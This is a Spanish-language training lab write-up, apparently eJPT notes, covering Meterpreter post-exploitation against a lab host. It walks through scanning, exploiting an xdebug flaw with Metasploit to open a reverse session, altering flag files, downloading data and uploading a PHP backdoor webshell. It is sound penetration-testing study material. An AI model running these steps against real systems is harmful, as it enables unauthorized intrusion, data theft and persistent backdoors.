> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/post-explotacion/fundamentos-de-la-postexplotacion/fundamentos-de-meterpreter.md).

# Fundamentos de meterpreter

## 🔍 ¿Qué es la Post Explotación?

La **post explotación** hace referencia a las acciones que se realizan en un sistema **después de obtener acceso inicial**. Esta fase permite al atacante **consolidar su posición**, **obtener más información del entorno** y **preparar movimientos posteriores** dentro de la red.

***

## 🔧 Técnicas comunes de Post Explotación

* 📄 **Enumeración local**: Recolectar información sobre el sistema comprometido (usuarios, procesos, servicios, redes, etc.).
* 🔼 **Escalada de privilegios**: Elevar los permisos actuales para obtener acceso administrativo o root.
* 🔐 **Extracción de hashes**: Obtener hashes de contraseñas para crackeo offline o movimiento lateral.
* ♻️ **Persistencia**: Establecer un punto de acceso permanente (backdoor, servicio, clave de registro, etc.).
* 🧹 **Borrado de huellas**: Eliminar logs y trazas que puedan delatar la intrusión.
* ↪️ **Pivoting**: Usar el sistema comprometido como puente para acceder a otras máquinas dentro de la red interna.

***

## 🧠 Meterpreter

**Meterpreter** (Meta-Interpreter) es un payload avanzado de Metasploit con múltiples funcionalidades:

* 🔍 Se ejecuta **en memoria** mediante inyección de DLL, lo que **reduce su detección** por antivirus.
* 💬 Permite una **consola interactiva** para ejecutar comandos, navegar por el sistema de archivos, registrar pulsaciones de teclado y más.
* 🧩 Soporta la **carga dinámica de scripts y plugins personalizados**, lo que lo hace extremadamente flexible.
* 🏹 Existen distintos tipos de payloads Meterpreter según el **sistema operativo** y su **arquitectura** (Windows/Linux, x86/x64).

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/ymtLYtbCbEBkCAybTkn5" alt=""><figcaption></figcaption></figure>

**Paso 2:** Ejecute un escaneo de Nmap contra el objetivo.

**Dominio:**

```
nmap -sS -sV demo.ine.local
```

<figure><img src="/files/o5u8KclzHNwMSkV3IbJy" alt=""><figcaption></figcaption></figure>

**Paso 3:** Escanearemos el objetivo usando la herramienta dirb.

**Dominio:**

```
dirb http://demo.ine.local
```

<figure><img src="/files/UhOsUZezswFAZOxeEcKF" alt=""><figcaption></figcaption></figure>

**Paso 4:** Accederemos al archivo phpinfo.php usando curl para encontrar más información sobre el servidor web.

**Dominio:**

```
curl http://demo.ine.local/phpinfo.php
```

<figure><img src="/files/qYyaJSme6xtdK6yWHwOd" alt=""><figcaption></figcaption></figure>

**Paso 5:** La extensión xdebug está habilitada en el servidor de destino. Podemos explotarla usando el módulo de metasploit exploit/unix/http/xdebug\_unauth\_exec.

**Comandos:**

```
msfconsole -q 
use exploit/unix/http/xdebug_unauth_exec
set RHOSTS demo.ine.local
set LHOST <Attacker Kali Machine IP>
exploit
```

<figure><img src="/files/xPWAyn5nDUKzqIE3ndiN" alt=""><figcaption></figcaption></figure>

**Paso 6:** Verifique el directorio de trabajo actual en la máquina remota (explotada).

**Dominio:**

```
pwd
```

<figure><img src="/files/GwgephcMDCVb9rV0Asej" alt=""><figcaption></figcaption></figure>

**Paso 7:** Enumere los archivos presentes en el directorio de trabajo actual de la máquina remota.

**Dominio:**

```
ls
```

<figure><img src="/files/TO0divnCq2J6o4gTl6DZ" alt=""><figcaption></figcaption></figure>

**Paso 8:** Verifique el directorio de trabajo actual en la máquina local (atacante).

**Dominio:**

```
lpwd
```

<figure><img src="/files/wPdGkTermdZlrztZ0not" alt=""><figcaption></figcaption></figure>

**Paso 9:** Enumere los archivos presentes en el directorio de trabajo actual de la máquina local.

**Dominio:**

```
lls
```

<figure><img src="/files/IwywanoVXr9BgfZZwymS" alt=""><figcaption></figcaption></figure>

**Paso 10:** Obtenga el valor de la bandera presente en el archivo /app/flag1.

**Dominio:**

```
cat /app/flag1
```

<figure><img src="/files/GrIXwfEinxESnlnGQnGv" alt=""><figcaption></figcaption></figure>

**Paso 11:** Cambia el valor de la bandera presente en /app/flag1, para que nadie más pueda obtener la bandera correcta.

**Comandos:**

```
edit /app/flag1
cat /app/flag1
```

<figure><img src="/files/t8JzBi4OjMvL93ht7nSq" alt=""><figcaption></figcaption></figure>

**Paso 12:** Cambie el directorio de trabajo actual a un directorio con un nombre sospechoso en /app y lea la bandera de un archivo oculto presente en ese directorio.

**Comandos:**

```
cd "Secret Files"
ls
cat .flag2
```

<figure><img src="/files/BeSoHAlvzp1JmlCBcUJq" alt=""><figcaption></figcaption></figure>

**Paso 13:** Obtenga el flag5.zip en la máquina local, ábralo usando la contraseña 56784. La información proporcionada en el archivo extraído dará una pista sobre la ubicación de la otra bandera.

**Comandos:**

```
cd /app
download flag5.zip
```

<figure><img src="/files/prWgpyj5t7HiGLwxjiL4" alt=""><figcaption></figcaption></figure>

Abra una nueva terminal.

**Comandos:**

```
ls
unzip flag5.zip
cat list
```

<figure><img src="/files/rGcp0yvMChGpGYFZDRNr" alt=""><figcaption></figcaption></figure>

**Paso 14:** Elimina el archivo .zip del directorio.

**Dominio:**

```
rm flag5.zip
```

<figure><img src="/files/DDFSFhmpgDOsRYKx6Dhu" alt=""><figcaption></figcaption></figure>

**Paso 15:** Imprima la suma de comprobación del archivo mencionado en el archivo extraído (consulte la pregunta 8).

**Dominio:**

```
checksum md5 /bin/bash
```

<figure><img src="/files/sv33oXPkmJPfEkvl0OmF" alt=""><figcaption></figcaption></figure>

**Paso 16:** Verifique la variable de entorno PATH en la máquina remota.

**Dominio:**

```
getenv PATH
```

<figure><img src="/files/xq45VJ5DvZlioSfj4wPR" alt=""><figcaption></figcaption></figure>

**Paso 17:** Hay un archivo con la cadena "ckdo" en su nombre en uno de los lugares incluidos en la variable PATH. Imprima la bandera oculta en ese archivo.

**Dominio:**

```
search -d /usr/bin -f *ckdo*
```

<figure><img src="/files/BDCAbaNMNulmYg7I521X" alt=""><figcaption></figcaption></figure>

**Paso 18:** Cambie al directorio de herramientas en la máquina local.

**Dominio:**

```
lcd /root/Desktop/tools
```

<figure><img src="/files/3izWfQVbXks59fvEeUUB" alt=""><figcaption></figcaption></figure>

**Paso 19:** Cargue un webshell PHP al directorio de aplicaciones de la máquina remota.

**Dominio:**

```
upload /usr/share/webshells/php/php-backdoor.php
```

<figure><img src="/files/ty4lBSrBEcnIQdxzSfkw" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, aprendimos sobre los conceptos básicos del meterpreter y vimos una forma de obtener el shell en la máquina de destino.

#### Referencias

1. [Meterpreter](https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/)
